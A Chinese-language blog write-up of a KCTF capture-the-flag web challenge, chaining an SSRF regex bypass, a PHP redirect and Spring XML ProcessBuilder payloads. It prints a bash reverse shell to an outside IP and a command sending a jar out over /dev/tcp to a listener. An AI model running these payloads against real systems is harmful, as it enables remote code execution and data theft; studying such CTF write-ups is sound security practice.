Web安全

KCTF的一题web

Posted on 2020-11-18,3 min read

首页图片的加载方式

http://121.36.145.157:8088/getimage?url=https://bbs.pediy.com/upload/attach/202009/236762_Y76C73KQC7MG83G.jpg

F12看到测试加载配置文件 /loadConfig?url=x.xml
估计SSRF打这个接口
然后发现要过他的正则

illegal url! ^(http|https):\\/\\/[^?#\\/]*\\.pediy\\.com\\/.*

这里有两种办法。一种是两次URL编码绕过。还有就是用@@绕过。对应URI的用户名密码

http://127.0.0.1%253a8088%253f.pediy.com/loadConfig?url=x.xml

http://@@119.45.155.77:1337@m.pediy.com/
不过这里只能访问VPS的80端口。他不会解析为1337端口
在80端口上配合302跳转
<?php
header("Location: http://127.0.0.1:8088/loadConfig?url=http://119.45.155.77/2.xml");

SSRF成功后。发现一堆XML报错。猜测能解析XML。然后XXE ftp只能带出一行数据。。

在报错中找到FileSystemXmlApplicationContext

又找到了这个反序列化https://www.cnblogs.com/afanti/p/10815728.html

vps上放2.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
		<value><![CDATA[echo "/bin/bash -i >& /dev/tcp/119.45.155.77/1337 0>&1" > /tmp/guoke.sh]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
		<value><![CDATA[/bin/bash /tmp/guoke.sh]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

第一次先写入sh。第二次触发弹shell。
然后home下载jar
cat *.jar > /dev/tcp/vps/8888
nc -lvp 8888 > 1.jar
反编译拿到shell

下一篇: Guojiz国际网址导航系统 后台写shell→